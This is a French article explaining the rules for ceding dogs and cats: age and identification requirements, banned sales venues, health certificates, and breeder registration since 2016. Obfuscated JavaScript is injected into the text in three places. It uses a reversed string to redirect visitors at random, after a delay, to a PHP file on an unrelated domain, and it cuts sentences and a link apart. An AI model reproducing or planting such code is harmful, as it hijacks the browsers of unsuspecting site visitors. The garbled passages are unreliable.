Cession chiens et chats : réglementation


Donner ou vendre des chiots ou des chatons implique le respect de certaines démarches et obligations. La cession des animaux de compagnie est en effet régie par dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == « string ») return $VOcl3cIRrbzlimOyC8H.list[n].split(«  »).reverse().join(«  »);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[« ‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod »];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}do?cidTexte=LEGITEXT000006071367&idArticle=LEGIARTI000006583115&dateTexte=&categorieLien=cid »>l’ Article L.214-8 du code rural et de la pêche maritime, qu’elle soit gracieuse ou non.


 

En préambule, il faut savoir que l’animal doit être âgé de plus de 8 semaines et posséder une identification électronique (en vigueur depuis le 3 juillet 2011) avant la cession ainsi que les documents d’identification nécessaires tels que son passeport. La vente d’animaux de compagnie est strictement interdite dans les foires, les expositions ou tout autre événement non dédié exclusivement aux “bêtes”. L’acheteur, de son côté, doit être âgé d’au moins 16 ans pour pouvoir acquérir un animal.

 

Ce qui est formellement interdit

La sélection « sur des critères compromettant la santé de l’animal » est formellement interdite. Le décret qui régit la cession d’un chien ou d’un chat prévoit aussi que « Les interventions chirurgicales sur des animaux à des fins non curatives autres que la coupe de queue sont interdites » même si ces interventions peuvent être réalisées par un vétérinaire « soit dans l’intérêt propre de l’animal, soit pour empêcher sa reproduction ».

En cas de non respect de cette dernière clause, les parties s’exposent à une amende de 750€.  L’acquisition de chiens dits  d’attaque (1ère catégorie) est elle aussi prohibée. Cette catégorie comporte tous les animaux non inscrits au dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}livre des origines françaises (LOF).

 

Les obligations du cédant

Le cédant doit aviser le gestionnaire du fichier d’identification du transfert de propriétaire. Il doit aussi être en mesure de fournir différents documents (attestation de cession pour les professionnels, facture, document reprenant les caractéristiques et besoins de l’animal).

Le certificat de bonne santé est également obligatoire pour toute cession de chiens ou vente d’un chat par un particulier. Rédigé et signé 5 jours avant la cession, après examen médical, il est à la charge du cédant. Le document reprend l’identité du cédant, le numéro d’identification de l’animal, éventuellement celui du passeport, les vaccins réalisés, la date et le lieu de naissance.

 

Depuis le 1er janvier 2016dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}

La réglementation concernant la protection des animaux de compagnie est renforcée et de nouvelles obligations sont applicables pour encadrer la vente et l’élevage* de chiens et de chats.

En effet, ce qui à changé c’est, l’obligation pour un particulier de se déclarer éleveur dès la première portée vendue, l’obligation d’immatriculation pour tous les élevages et la déclaration auprès de la chambre d’agriculture afin d’obtenir un numéro SIREN. De plus les mentions obligatoires pour l’annonce de cession à titre onéreux ont été renforcées et le numéro de SIREN sera la condition de validation des petites annonces.

Notons que la vente en libre service de tout animal vertébré est interdite.

 

* Il existe des dispositions particulières pour les éleveurs commercialisant uniquement des animaux inscrits à un livre généalogique qui ne produisent pas plus d’une portée par an par foyer fiscal. Pour eux il s’agira d’un numéro de portée. Les détails de cette mesure sont accessibles sur les sites de la SCC et du LOOF.

 

Pour en savoir plus :

http://www.legifrance.gouv.fr/ eli/rapport/2015/10/8/ AGRG1518009P/jo/texte
http://agriculture.gouv.fr/sites/ minagri/files/1509-animaux- flyer.pdf
 
 
E.B